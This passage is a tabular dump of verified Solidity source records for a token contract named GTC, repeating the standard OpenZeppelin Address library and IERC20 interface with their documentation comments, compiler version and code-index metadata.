* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
| /**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
3318,
3496
]
} | 8,876 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
3721,
3922
]
} | 8,877 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
4292,
4523
]
} | 8,878 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
4774,
5095
]
} | 8,879 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
94,
154
]
} | 8,880 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
237,
310
]
} | 8,881 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
534,
616
]
} | 8,882 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | allowance | function allowance(address owner, address spender) external view returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
895,
983
]
} | 8,883 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
1647,
1726
]
} | 8,884 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
